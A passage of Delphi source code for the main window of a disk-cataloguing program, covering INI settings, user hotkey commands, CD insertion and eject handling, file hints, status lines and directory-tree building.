IniFile.WriteString('RecentFiles', 'File6', LastFiles[6]); IniFile.WriteString('RecentFiles', 'File7', LastFiles[7]); IniFile.WriteString('RecentFiles', 'File8', LastFiles[8]); IniFile.WriteString('RecentFiles', 'File9', LastFiles[9]); IniFile.WriteString('RecentFiles', 'File10', LastFiles[10]); end; //----------------------------------------------------------------------------- // Reads user commands from the INI file procedure TMainForm.ReadUserCommandsFromIni(var IniFile: TIniFile); var iIndex : integer; sSection : String; sKey : String; sDll : AnsiString; sParams : AnsiString; wKey : Word; bShift : boolean; bControl : boolean; bAlt : boolean; bTestExist : boolean; pUserCommand: TPUserCommand; sTempFolder : AnsiString; begin g_UserCommandList.Clear(); iIndex := 0; sTempFolder := IniFile.ReadString('settings', 'tempdir', ''); if (sTempFolder <> '') then g_sTempFolder := sTempFolder; LOG('TempFolder = %s', [g_sTempFolder]); while true do begin inc (iIndex); sSection := Format('cmd%d', [iIndex]); sKey := IniFile.ReadString(sSection, 'key', ''); if (sKey = '') then if (iIndex < 20) then continue else break; wKey := 0; sKey := UpperCase(sKey); if Length(sKey) = 1 then begin if (sKey[1] >= 'A') and (sKey[1] <= 'Z') or (sKey[1] >= '0') and (sKey[1] <= '0') then wKey := ord(sKey[1]); end else begin if sKey = 'F1' then wKey := VK_F1 else if sKey = 'F2' then wKey := VK_F2 else if sKey = 'F3' then wKey := VK_F3 else if sKey = 'F4' then wKey := VK_F4 else if sKey = 'F5' then wKey := VK_F5 else if sKey = 'F6' then wKey := VK_F6 else if sKey = 'F7' then wKey := VK_F7 else if sKey = 'F8' then wKey := VK_F8 else if sKey = 'F9' then wKey := VK_F9 else if sKey = 'F10' then wKey := VK_F10 else if sKey = 'F11' then wKey := VK_F11 else if sKey = 'F12' then wKey := VK_F12; end; bShift := IniFile.ReadBool (sSection, 'shift', false); bControl := IniFile.ReadBool (sSection, 'control', false); bAlt := IniFile.ReadBool (sSection, 'alt', false); bTestExist:= IniFile.ReadBool (sSection, 'test', false); sDll := IniFile.ReadString(sSection, 'dll', ''); sParams := IniFile.ReadString(sSection, 'params', ''); New(pUserCommand); pUserCommand^.m_wKey := wKey; pUserCommand^.m_bShift := bShift; pUserCommand^.m_bControl := bControl; pUserCommand^.m_bAlt := bAlt; pUserCommand^.m_sDll := sDll; pUserCommand^.m_bTestExist := bTestExist; pUserCommand^.m_sParams := sParams; LOG('UserCmd.ini: wKey=%d, bShift=%d, bControl=%d, bAlt=%d, sDll=%s, sParams=%s', [integer(wKey), integer(bShift), integer(bControl), integer(bAlt), PChar(sDll), PChar(sParams)]); if (wKey = 0) or (sDll = '') then begin LOG('Invalid key or DLL name', []); continue; end; g_UserCommandList.Add(pUserCommand); end; end; //----------------------------------------------------------------------------- // Disables CD AutoRun feature - Windows send the message QueryCancelAutoPlay // to the top window, so we must have this handler in all forms. procedure TMainForm.DefaultHandler(var Message); begin with TMessage(Message) do if (Msg = g_CommonOptions.dwQueryCancelAutoPlay) and g_CommonOptions.bDisableCdAutorun //and (ClientHandle <> 0) then begin Result := 1; //SetWindowLong(ClientHandle, DWL_MSGRESULT, 1); end else inherited DefaultHandler(Message) end; //----------------------------------------------------------------------------- // Toolbar button handler - Eject CD 1 procedure TMainForm.SpeedButtonEject1Click(Sender: TObject); begin Eject(m_EjectDriveLetter1); end; //----------------------------------------------------------------------------- // Toolbar button handler - Eject CD 2 procedure TMainForm.SpeedButtonEject2Click(Sender: TObject); begin Eject(m_EjectDriveLetter2); end; //----------------------------------------------------------------------------- // The following messages are for WM_DEVICECHANGE. The immediate list // is for the wParam. ALL THESE MESSAGES PASS A POINTER TO A STRUCT // STARTING WITH A DWORD SIZE AND HAVING NO POINTER IN THE STRUCT. const DBT_DEVICEARRIVAL = $8000; // system detected a new device DBT_DEVICEQUERYREMOVE = $8001; // wants to remove, may fail DBT_DEVICEQUERYREMOVEFAILED = $8002; // removal aborted DBT_DEVICEREMOVEPENDING = $8003; // about to remove, still avail. DBT_DEVICEREMOVECOMPLETE = $8004; // device is gone DBT_DEVICETYPESPECIFIC = $8005; // type specific event DBT_CUSTOMEVENT = $8006; // user-defined event DBT_DEVTYP_OEM = $00000000; // oem-defined device type DBT_DEVTYP_DEVNODE = $00000001; // devnode number DBT_DEVTYP_VOLUME = $00000002; // logical volume DBT_DEVTYP_PORT = $00000003; // serial, parallel DBT_DEVTYP_NET = $00000004; // network resource DBT_DEVTYP_DEVICEINTERFACE = $00000005; // device interface class DBT_DEVTYP_HANDLE = $00000006; // file system handle DBTF_MEDIA = $0001; // media comings and goings DBTF_NET = $0002; // network volume type DEV_BROADCAST_VOLUME = record dbcv_size : DWORD; dbcv_devicetype : DWORD; dbcv_reserved : DWORD; dbcv_unitmask : DWORD; dbcv_flags : WORD; end; P_DEV_BROADCAST_VOLUME = ^DEV_BROADCAST_VOLUME; {$Ifdef mswindows} // here we handle a message about CD-ROM inserted to the drive procedure TMainForm.OnDeviceChange(var Message: TMessage); var pDevBroadcastVolume: P_DEV_BROADCAST_VOLUME; dwDrive : DWORD; ucDrive : char; begin if (not g_CommonOptions.bScanAfterCdInsert) then exit; // we do not care... if not (ActiveMDIChild is TFormDBase) then exit; if (Message.WParam <> DBT_DEVICEARRIVAL) then exit; pDevBroadcastVolume := P_DEV_BROADCAST_VOLUME (Message.lParam); if (pDevBroadcastVolume^.dbcv_devicetype <> DBT_DEVTYP_VOLUME) then exit; dwDrive := pDevBroadcastVolume^.dbcv_unitmask; ucDrive := 'A'; while ((dwDrive and 1) = 0) and (dwDrive > 0) do begin dwDrive := dwDrive shr 1; inc(ucDrive); end; // check if it is a CD-ROM. m_EjectDriveLetterX is in upper case if (ucDrive <> m_EjectDriveLetter1) and (ucDrive <> m_EjectDriveLetter2) then exit; if ((pDevBroadcastVolume^.dbcv_flags and DBTF_MEDIA) <> 0) and ((pDevBroadcastVolume^.dbcv_flags and DBTF_NET) = 0) then begin TFormDBase(ActiveMDIChild).ScanDisk(ucDrive, g_CommonOptions.bNoQueries); if (g_CommonOptions.bEjectAfterCdScan) then Eject(ucDrive); end; end; {$endif} //----------------------------------------------------------------------------- // Creates temporary folder in Windows TEMP folder for unpacking procedure TMainForm.CreateTempFolder(); begin if (Length(g_sTempFolder) = 0) then exit; if (g_sTempFolder[Length(g_sTempFolder)] <> '\') then g_sTempFolder := g_sTempFolder + '\'; g_sTempFolder := g_sTempFolder + 'DiskBaseTemp'; CreateDir(g_sTempFolder); end; //----------------------------------------------------------------------------- // Deletes temporary folder procedure TMainForm.DeleteTempFolder(); var SearchRec: TSearchRec; bFound : boolean; sFileName: AnsiString; begin if (Length(g_sTempFolder) = 0) then exit; bFound := FindFirst(g_sTempFolder+'\*', faAnyFile, SearchRec) = 0; while (bFound) do begin if ((SearchRec.Attr and faDirectory) = 0) then begin sFileName := g_sTempFolder+ '\' + SearchRec.Name; DeleteFile(PChar(sFileName)); end; bFound := FindNext(SearchRec) = 0; end; SysUtils.FindClose(SearchRec); RemoveDir(g_sTempFolder); end; //----------------------------------------------------------------------------- // Saves window sizes procedure TMainForm.SaveWinSizes; var IniFile: TIniFile; //i : Integer; sIniFileName: AnsiString; begin sIniFileName := ChangeFileExt(ParamStr(0), '.ini'); if not FileExists(sIniFileName) then // test file creation begin if not TestFileCreation(sIniFileName) then exit; end else begin // check if it is read-only ///if ((GetFileAttributes(PChar(sIniFileName)) and FILE_ATTRIBUTE_READONLY) <> 0) then exit; end; IniFile := TIniFile.Create(sIniFileName); if MainForm.WindowState = wsNormal then begin IniFile.WriteInteger ('Application', 'Left', MainForm.Left); IniFile.WriteInteger ('Application', 'Top', MainForm.Top); IniFile.WriteInteger ('Application', 'Width', MainForm.Width); IniFile.WriteInteger ('Application', 'Height', MainForm.Height); IniFile.WriteBool ('Application', 'Maximized', false); IniFile.WriteBool ('Application', 'Minimized', false); end else if MainForm.WindowState = wsMaximized then begin IniFile.WriteBool ('Application', 'Maximized', true); IniFile.WriteBool ('Application', 'Minimized', false); end else begin IniFile.WriteBool ('Application', 'Maximized', false); IniFile.WriteBool ('Application', 'Minimized', true); end; if MainForm.ActiveMDIChild <> nil then begin IniFile.WriteBool('Application', 'MDIChildMaximized', MainForm.ActiveMDIChild.WindowState = wsMaximized); end; IniFile.WriteInteger ('Application', 'MDIChildHeader0', g_PanelHeaderWidths[0]); IniFile.WriteInteger ('Application', 'MDIChildHeader1', g_PanelHeaderWidths[1]); IniFile.WriteInteger ('Application', 'MDIChildHeader2', g_PanelHeaderWidths[2]); IniFile.WriteInteger ('ScanDiskWindow', 'Left', FormSelectDrive.Left); IniFile.WriteInteger ('ScanDiskWindow', 'Top', FormSelectDrive.Top); IniFile.WriteInteger ('ScanDiskWindow', 'Width', FormSelectDrive.Width); IniFile.WriteInteger ('ScanDiskWindow', 'Height', FormSelectDrive.Height); IniFile.WriteInteger ('ScanDiskWindow', 'Position', FormSelectDrive.ListBoxDrives.ItemIndex); IniFile.WriteInteger ('DescriptionWindow', 'Left', FormDescription.Left); IniFile.WriteInteger ('DescriptionWindow', 'Top', FormDescription.Top); IniFile.WriteInteger ('DescriptionWindow', 'Width', FormDescription.Width); IniFile.WriteInteger ('DescriptionWindow', 'Height', FormDescription.Height); IniFile.WriteInteger ('SelectFolderWindow', 'Left', FormSelectFolder.Left); IniFile.WriteInteger ('SelectFolderWindow', 'Top', FormSelectFolder.Top); IniFile.WriteInteger ('SelectFolderWindow', 'Width', FormSelectFolder.Width); IniFile.WriteInteger ('SelectFolderWindow', 'Height',FormSelectFolder.Height); IniFile.Free; end; //=TOneFileLine======================================================= // TOneFileLine constructor - gets the file type constructor TOneFileLine.Create(aOneFile: TOneFile); begin GetMemOneFile(POneFile, aOneFile); ExtAttr := 0; with POneFile^ do begin if LongName = '..' then FileType := ftParent else if Attr and faQArchive = faQArchive then FileType := ftArc else if Attr and faDirectory = faDirectory then FileType := ftDir else FileType := ftFile; end; end; //-------------------------------------------------------------------- // TOneFileLine destructor destructor TOneFileLine.Destroy; begin FreeMemOneFile(POneFile); end; //----------------------------------------------------------------------------- procedure TMainForm.MenuDiscGearPrintClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).DiscGearPrint(Handle); ///DiscGearPrint(Handle); end; procedure TMainForm.Splitter1Moved(Sender: TObject); begin if FormIsClosed then exit; HeaderWidths[0] := Disks.Width + Splitter1.Width ; HeaderWidths[1] := DiskTree.Width + Splitter1.Width + Splitter2.Width ; HeaderWidths[2] := DrawGridFiles.Width; QGlobalOptions.PanelHeaderWidths := HeaderWidths; g_PanelHeaderWidths := HeaderWidths; ResizeHeaderBottom; if Disks.Width > 50 then Disks.ColWidths[0] := Disks.Width-2 else Disks.ColWidths[0] := 50; ///HeaderTop.SectionWidth[0] := HeaderWidths[0]; HeaderTop.Sections[0].Width := HeaderWidths[0]; if not DiskTree.Visible then begin ///HeaderTop.SectionWidth[1] := 0; ///eaderTop.SectionWidth[2] := HeaderWidths[1] + HeaderWidths[2]; HeaderTop.Sections[1].Width := 0; HeaderTop.Sections[2].Width := HeaderWidths[1] + HeaderWidths[2]; end else begin ///HeaderTop.SectionWidth[1] := HeaderWidths[1]; ///HeaderTop.SectionWidth[2] := HeaderWidths[2]; HeaderTop.Sections[1].Width := HeaderWidths[1]; HeaderTop.Sections[2].Width := HeaderWidths[2]; end; end; //----------------------------------------------------------------------------- procedure TmainForm.UpdateSize; begin HeaderTop.Sections[0].Width := Disks.Width; HeaderTop.Sections[1].Width := DiskTree.Width; HeaderTop.Sections[2].Width := DrawGridFiles.Width; end; //-------------------------------------------------------------------- // Set fonts from global options and recalculates the sizes. Used after // the global options are changed and at the program startup. procedure TMainForm.ResetFontsAndRowHeights; begin with QGlobalOptions do begin {$ifndef LOGFONT} Disks.Font.Assign (DiskFont); Disks.Canvas.Font.Assign(DiskFont); DiskTree.Font.Assign (TreeFont); DiskTree.Canvas.Font.Assign (TreeFont); DrawGridFiles.Font.Assign (FileFont); DrawGridFiles.Canvas.Font.Assign(FileFont); FormDescription.MemoDesc.Font.Assign(DescFont); {$else} SetFontFromLogFont(DrawGridDisks.Font, DiskLogFont); SetFontFromLogFont(DrawGridDisks.Canvas.Font, DiskLogFont); SetFontFromLogFont(OutlineTree.Font, TreeLogFont); SetFontFromLogFont(OutlineTree.Canvas.Font, TreeLogFont); SetFontFromLogFont(DrawGridFiles.Font, FileLogFont); SetFontFromLogFont(DrawGridFiles.Canvas.Font, FileLogFont); SetFontFromLogFont(FormDescription.MemoDesc.Font, DescLogFont); {$endif} TimeWidth := DrawGridFiles.Canvas.TextWidth(DosTimeToStr(longint(23) shl 11, QGlobalOptions.ShowSeconds)); TimeWidth := TimeWidth + TimeWidth div 6; end; end; //-------------------------------------------------------------------- // Called when the form is created or display options are changed // recalculates the properties of the Files panel procedure TMainForm.ResetDrawGridFiles; var i : Integer; WidthInPixels: Integer; //S: shortString; begin ResetFontsAndRowHeights; if QGlobalOptions.FileDisplayType = fdBrief then with DrawGridFiles do begin Options := [goFixedVertLine, goFixedHorzLine, goVertLine, goDrawFocusSelected]; FixedRows := 0; ColCount := 1; ScrollBars := ssAutoHorizontal; end; if QGlobalOptions.FileDisplayType = fdDetailed then with DrawGridFiles do begin Options := [goFixedVertLine, goFixedHorzLine, goVertLine, goDrawFocusSelected, goRowSelect, goColSizing]; RowCount := 2; FixedRows := 1; ScrollBars := ssAutoBoth; i := 0; WidthInPixels := MaxFileNamePxLength + 5; if QGlobalOptions.ShowIcons then inc(WidthInPixels, BitmapFolder.Width); ColumnAttrib[i].Width := WidthInPixels; ColumnAttrib[i].Content := coName; inc(i); if QGlobalOptions.ShowSize then begin ColumnAttrib[i].Width := DrawGridFiles.Canvas.TextWidth(FormatSize(2000000000, QGlobalOptions.ShowInKb)) + 2; ColumnAttrib[i].Content := coSize; inc(i); end; if QGlobalOptions.ShowTime then begin ColumnAttrib[i].Width := DrawGridFiles.Canvas.TextWidth(' ' + DosDateToStr (694026240)) { 30.10.2000 } + TimeWidth + 2; {timewidth is set in ResetFont} ColumnAttrib[i].Content := coTime; inc(i); end; if QGlobalOptions.ShowDescr then begin ColumnAttrib[i].Width := 25 * DrawGridFiles.Canvas.TextWidth('Mmmmxxxxx '); ColumnAttrib[i].Content := coDesc; inc(i); end; ColCount := i; for i := 0 to pred(ColCount) do ColWidths[i] := ColumnAttrib[i].Width; end; end; //-------------------------------------------------------------------- // Timer procedure called from the timer in the main application window // - thi assures only one timer per application is used. procedure TMainForm.LocalTimer; begin if PanelsLocked then exit; if QGlobalOptions.ShowFileHints and ((longint(GetTickCount) - LastMouseMoveTime) > defHintDelayPeriod) then ShowFileHint; end; //-------------------------------------------------------------------- // Handles the event issued when the mouse moves over the file panel // USed for displaying the bubbles with descriptions procedure TMainForm.DrawGridFilesMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if (LastMouseXFiles <> X) or (LastMouseYFiles <> Y) then begin MousePosAlreadyChecked := false; EraseFileHint; LastMouseXFiles := X; LastMouseYFiles := Y; LastMouseMoveTime := GetTickCount; end; end; //-------------------------------------------------------------------- // Shows the bubble file hint procedure TMainForm.ShowFileHint; var Point : TPoint; Rect : TRect; HintWidth : integer; LineHeight : integer; OneFileLine: TOneFileLine; // pointer S : ShortString; DosDateTime: longint; i, TmpInt : integer; PolygonPts : array[0..2] of TPoint; XPosition : integer; begin if MousePosAlreadyChecked then exit; if DisableHints <> 0 then exit; if FilesHintDisplayed then exit; MousePosAlreadyChecked := true; GetCursorPos(Point); Point := DrawGridFiles.ScreenToClient(Point); // is the mouse cursor still in the window? if (LastMouseXFiles <> Point.X) or (LastMouseYFiles <> Point.Y) then exit; OneFileLine := FindOneFileLine(Point, Rect); if OneFileLine = nil then exit; if OneFileLine.FileType = ftDir then exit; if OneFileLine.FileType = ftParent then exit; HiddenForm.MemoForHints.Lines.Clear; if OneFileLine.POneFile^.Description <> 0 then begin if QI_GetShortDesc(DBaseHandle, OneFileLine.POneFile^.Description, S) then HiddenForm.MemoForHints.Lines.Insert(0, S); end; if QGlobalOptions.FileDisplayType = fdBrief then begin DosDateTime := OneFileLine.POneFile^.Time; if DosDateTime <> 0 then HiddenForm.MemoForHints.Lines.Insert(0, DosDateToStr(DosDateTime) + ' ' + DosTimeToStr(DosDateTime, QGlobalOptions.ShowSeconds)); HiddenForm.MemoForHints.Lines.Insert(0, FormatSize(OneFileLine.POneFile^.Size, QGlobalOptions.ShowInKb)); HiddenForm.MemoForHints.Lines.Insert(0, OneFileLine.POneFile^.LongName+OneFileLine.POneFile^.Ext); end; if HiddenForm.MemoForHints.Lines.Count = 0 then exit; with DrawGridFiles.Canvas do begin HintWidth := 0; LineHeight := 0; for i := 0 to pred(HiddenForm.MemoForHints.Lines.Count) do begin TmpInt := TextWidth(HiddenForm.MemoForHints.Lines[i]); if HintWidth < TmpInt then HintWidth := TmpInt; TmpInt := TextHeight(HiddenForm.MemoForHints.Lines[i]); if LineHeight < TmpInt then LineHeight := TmpInt; end; // find the position XPosition := (Rect.Left + Rect.Right) div 2; if XPosition < (DrawGridFiles.Width div 2) then begin LastHintRect.Left := XPosition - 11; LastHintRect.Right := XPosition + HintWidth -5; if (LastHintRect.Right >= DrawGridFiles.Width) then OffsetRect(LastHintRect, DrawGridFiles.Width-LastHintRect.Right-3, 0); PolygonPts[0].X := LastHintRect.Left + 5; PolygonPts[1].X := LastHintRect.Left + 11; PolygonPts[2].X := LastHintRect.Left + 17; end else begin LastHintRect.Left := XPosition - HintWidth + 5; LastHintRect.Right := XPosition + 11; if (LastHintRect.Left <= 0) then OffsetRect(LastHintRect, -LastHintRect.Left+3, 0); PolygonPts[0].X := LastHintRect.Right - 17; PolygonPts[1].X := LastHintRect.Right - 11; PolygonPts[2].X := LastHintRect.Right - 5; end; if Rect.Top < (DrawGridFiles.Height div 2) then begin LastHintRect.Top := Rect.Bottom + 3; LastHintRect.Bottom := Rect.Bottom + HiddenForm.MemoForHints.Lines.Count * LineHeight + 5; PolygonPts[0].Y := LastHintRect.Top; PolygonPts[1].Y := LastHintRect.Top - 6; PolygonPts[2].Y := LastHintRect.Top; end else begin LastHintRect.Top := Rect.Top - HiddenForm.MemoForHints.Lines.Count * LineHeight - 5; LastHintRect.Bottom := Rect.Top - 3; PolygonPts[0].Y := LastHintRect.Bottom-1; PolygonPts[1].Y := LastHintRect.Bottom + 5; PolygonPts[2].Y := LastHintRect.Bottom-1; end; Brush.Color := $CFFFFF; Font.Color := clBlack; Pen.Color := clBlack; RoundRect(LastHintRect.Left, LastHintRect.Top, LastHintRect.Right, LastHintRect.Bottom, 4, 4); Polygon(PolygonPts); Pen.Color := $CFFFFF; MoveTo(PolygonPts[0].X+1, PolygonPts[0].Y); LineTo(PolygonPts[2].X, PolygonPts[2].Y); for i := 0 to pred(HiddenForm.MemoForHints.Lines.Count) do TextOut(LastHintRect.Left+3, LastHintRect.Top+1+i*LineHeight, HiddenForm.MemoForHints.Lines[i]); end; FilesHintDisplayed := true; end; //-------------------------------------------------------------------- // Locates the line in the file list according to the coordinates function TMainForm.FindOneFileLine(Point: TPoint; var Rect: TRect): TOneFileLine; var i: integer; ACol, ARow: longint; begin DrawGridFiles.MouseToCell(Point.X, Point.Y, ACol, ARow); Rect := DrawGridFiles.CellRect(ACol, ARow); if QGlobalOptions.FileDisplayType = fdBrief then begin i := ACol*DrawGridFiles.RowCount + ARow; if (i >= 0) and (i < FilesList.Count) then begin Result := TOneFileLine(FilesList.Objects[i]); exit; end; end else begin Rect.Left := 0; Rect.Right := DrawGridFiles.Width; if (ARow > 0) and (ARow <= FilesList.Count) then begin Result := TOneFileLine(FilesList.Objects[ARow-1]); exit; end; end; Result := nil; end; //-------------------------------------------------------------------- // attaches a database to the MDI window function TMainForm.AttachDBase(FName: ShortString): boolean; var SaveSelected : Integer; TmpKey : ShortString; TmpAttr : Word; Dir, Name, Ext : ShortString; DBaseInfo : TDBaseInfo; sMessage : ShortString; MsgText : array[0..256] of char; begin Result := false; try if not QI_OpenDatabase(FName, false, DBaseHandle, sMessage) then begin FormIsClosed := true; // this must be before the message box Application.MessageBox(StrPCopy(MsgText, sMessage), lsError, mb_OK or mb_IconStop); exit; end; //Expired := QI_DBaseExpired(DBaseHandle); //if (Expired <> 0) then g_bShowHelpAfterClose := true; DBaseFileName := FName; FSplit(FName, Dir, Name, Ext); ShortDBaseFileName := AnsiLowerCase(Name); ShortDBaseFileName[1] := Name[1]; Caption := ShortDBaseFileName; QI_GetLocalOptions (DBaseHandle, QLocalOptions); QI_GetCurrentKey (DBaseHandle, TmpKey, TmpAttr, SaveSelected); QI_SetCurrentKeyPos(DBaseHandle, SaveSelected); LastDiskSelected := SaveSelected; UpdateDiskWindow; Result := true; QI_GetDBaseInfo(DBaseHandle, DBaseInfo); DBaseIsReadOnly := DBaseInfo.ReadOnly; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // should be called when something changes in the Disk list // - if only selection changes, it is not a reason to call this procedure TMainForm.UpdateDiskWindow; var CountToShow : Integer; KeyIndex : Integer; Key : ShortString; Attr : Word; begin if FormIsClosed then exit; try QI_ClearNeedUpdDiskWin(DBaseHandle); CountToShow := QI_GetCountToShow (DBaseHandle); TabSheet1.Caption:=ShortDBaseFileName; if CountToShow = 0 then begin Disks.Row := 0; Disks.RowCount := 1; Disks.Refresh; exit; end; if QI_GetCurrentKey (DbaseHandle, Key, Attr, KeyIndex) then begin if (Disks.Row >= CountToShow) then Disks.Row := pred(CountToShow); Disks.RowCount := CountToShow; if Disks.Row <> KeyIndex then if KeyIndex < Disks.RowCount //KeyIndex value can be bigger from the past - if deleted disks were displayed then Disks.Row := KeyIndex; Disks.Repaint; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Updates the status line with the information about the currently selected file procedure TMainForm.UpdateStatusLine(Index: Integer; SubTotalsToo: boolean); var OneFileLine: TOneFileLine; DosDateTime: longint; Description: TFilePointer; S : ShortString; begin ///if FormIsClosed then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; try StatusLineFiles := ' '; if (FilesList.Count > 0) and (Index >= 0) and (Index < FilesList.Count) then begin OneFileLine := TOneFileLine(FilesList.Objects[Index]); with OneFileLine do begin LastSelectedFile := POneFile^.LongName + POneFile^.Ext; StatusLineFiles := StatusLineFiles + POneFile^.LongName + POneFile^.Ext + ' '; DosDateTime := POneFile^.Time; case FileType of ftDir : StatusLineFiles := StatusLineFiles + lsFolder1; ftParent: ; else StatusLineFiles := StatusLineFiles + FormatSize(POneFile^.Size, QGlobalOptions.ShowInKb) + ' '; end; if DosDateTime <> 0 then begin //if DosDateTime > 1000000000 then if DosDateTime > 970000000 then StatusLineFiles := StatusLineFiles + FormatDateTime('d.m.yyyy hh:nn',UniversalTimeToLocal(UnixToDateTime(DosDateTime))) + ' ' else StatusLineFiles := StatusLineFiles + DosDateToStr(DosDateTime) + ' ' + DosTimeToStr(DosDateTime, QGlobalOptions.ShowSeconds) + ' '; end; Description := POneFile^.Description; if Description <> 0 then begin if QI_GetShortDesc(DBaseHandle, Description, S) then StatusLineFiles := StatusLineFiles + ' ' + S; end; end; end; if SubTotalsToo then begin StatusLineSubTotals := ' '; if (SubTotals.DataFileSize > 0) then begin if (SubTotals.PhysDirs = SubTotals.DataDirs) and (SubTotals.PhysFiles = SubTotals.DataFiles) and (SubTotals.PhysFileSize = SubTotals.DataFileSize) then begin StatusLineSubTotals := lsTotalFolders + IntToStr(SubTotals.PhysDirs) + lsTotalFiles + IntToStr(SubTotals.PhysFiles) + lsTotalSize + FormatBigSize(SubTotals.PhysFileSize); end else begin StatusLineSubTotals := lsTotalFolders + IntToStr(SubTotals.PhysDirs) + '/' + IntToStr(SubTotals.DataDirs) + lsTotalFiles + IntToStr(SubTotals.PhysFiles) + '/' + IntToStr(SubTotals.DataFiles) + lsTotalSize + FormatBigSize(SubTotals.PhysFileSize)+ '/' + FormatBigSize(SubTotals.DataFileSize); end; end; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Updates the header of the panels procedure TMainForm.UpdateHeader; var S : ShortString; Attr : Word; Index : Integer; begin //if FormIsClosed then exit; //if not IsDBaseOpened(LastOpenedFile, false) then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; try (* if (ActiveControl is TDrawGrid) and (TDrawGrid(ActiveControl).Tag = 1) and (HeaderTop.Sections[0].Text <> ShortDBaseFileName) then begin HeaderTop.Sections[0].Text := ShortDBaseFileName; HeaderTop.Sections[0].Width := HeaderWidths[0]; end; {$ifndef mswindows} if QGlobalOptions.ShowTree and (ActiveControl is TTreeView) and (TTreeView(ActiveControl).Tag = 2) then begin if QI_GetCurrentKey(DBaseHandle, S, Attr, Index) then begin if HeaderTop.Sections[1].Text <> S then begin HeaderTop.Sections[1].Text := S; HeaderTop.Sections[1].Width := HeaderWidths[1]; end; end; end; if (ActiveControl is TDrawGrid) and (TDrawGrid(ActiveControl).Tag = 3) then begin QI_GetFullDirPath(DBaseHandle, S); if HeaderTop.Sections[2].Text <> S then begin HeaderTop.Sections[2].Text := S; HeaderTop.Sections[1].Width := HeaderWidths[2]; end; end; {$endif} *) if (HeaderTop.Sections[0].Text <> ShortDBaseFileName) then begin HeaderTop.Sections[0].Text := ShortDBaseFileName; HeaderTop.Sections[0].Width := HeaderWidths[0]; end; if QGlobalOptions.ShowTree then begin if QI_GetCurrentKey(DBaseHandle, S, Attr, Index) then begin if HeaderTop.Sections[1].Text <> S then begin HeaderTop.Sections[1].Text := S; HeaderTop.Sections[1].Width := HeaderWidths[1]; end; end; end; if (ActiveControl is TDrawGrid) and (TDrawGrid(ActiveControl).Tag = 3) then begin QI_GetFullDirPath(DBaseHandle, S); if HeaderTop.Sections[2].Text <> S then begin HeaderTop.Sections[2].Text := S; end; end else begin HeaderTop.Sections[2].Text := ''; end; HeaderTop.Sections[2].Width := HeaderWidths[2]; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Determines, whether the database is empty function TMainForm.DBaseIsEmpty: boolean; begin Result := true; //if FormIsClosed then exit; Result := QI_GetCountToShow(DBaseHandle) = 0; end; //-------------------------------------------------------------------- // Error message displayed when a critical error was encountered procedure TMainForm.MsgShouldExit; begin Application.MessageBox(lsSeriousProblemWritingToDBase, lsError, mb_Ok or mb_IconStop); end; //-------------------------------------------------------------------- procedure TMainForm.ScanTree(DirColHandle: PDirColHandle; Level: Integer; var TotalItemCount: Integer); var i : Integer; OneFile : TOneFile; OneDir : TOneDir; Count : Integer; SubDirColHandle : PDirColHandle; Node : TTreeNode; begin try Count := QI_GetDirColCount(DirColHandle); {returns 0, if it is nil} //Node:=nil; for i := 0 to pred(Count) do begin FillChar(OneFile, SizeOf(TOneFile), 0); SubDirColHandle := QI_GetDirColAt(DirColHandle, i); QI_GetOneDirDta(SubDirColHandle, OneDir); OneFile.LongName := OneDir.LongName; OneFile.Ext := OneDir.Ext; OneFile.Size := OneDir.Size; {to distinguish between folder and archive} ///OutLineTree.AddChildObject(Level, OneFile.LongName + OneFile.Ext, /// SubDirColHandle); Node:=DiskTree.Items.AddChildObject(Node, OneFile.LongName + OneFile.Ext, SubDirColHandle); TreePtrCol^.Insert(SubDirColHandle); inc(TotalItemCount); if SubDirColHandle <> nil then begin ScanTree(SubDirColHandle, TotalItemCount, TotalItemCount); end; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- procedure TMainForm.ScanTree(DirColHandle: PDirColHandle; Node: TTReeNode; var TotalItemCount: Integer); var i : Integer; OneFile : TOneFile; OneDir : TOneDir; Count : Integer; SubDirColHandle : PDirColHandle; Node2 : TTReeNode; begin try Node2:=nil; Count := QI_GetDirColCount(DirColHandle); {returns 0, if it is nil} for i := 0 to pred(Count) do begin FillChar(OneFile, SizeOf(TOneFile), 0); SubDirColHandle := QI_GetDirColAt(DirColHandle, i); QI_GetOneDirDta(SubDirColHandle, OneDir); OneFile.LongName := OneDir.LongName; OneFile.Ext := OneDir.Ext; OneFile.Size := OneDir.Size; {to distinguish between folder and archive} ///OutLineTree.AddChildObject(Level, OneFile.LongName + OneFile.Ext, /// SubDirColHandle); Node2:=DiskTree.Items.AddChildObject(Node, OneFile.LongName + OneFile.Ext, SubDirColHandle); Node2.ImageIndex:=3; Node2.SelectedIndex:=3; if QI_GetDirColCount(SubDirColHandle)>0 then begin //Node2:=Node; Node2.ImageIndex:=4; Node2.SelectedIndex:=1; end; TreePtrCol^.Insert(SubDirColHandle); inc(TotalItemCount); if SubDirColHandle <> nil then begin ScanTree(SubDirColHandle, Node2, TotalItemCount); end; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Expandes one branch in the tree - used when some items in the tree // has to be found and selected - typically when the user double-clicks // in the window with fould files and the location of the file is to be // displayed. ///procedure TFormDBase.ExpandBranch(AnItem: TOutlineNode); procedure TMainForm.ExpandBranch(AnItem: TTreeNode); begin //if 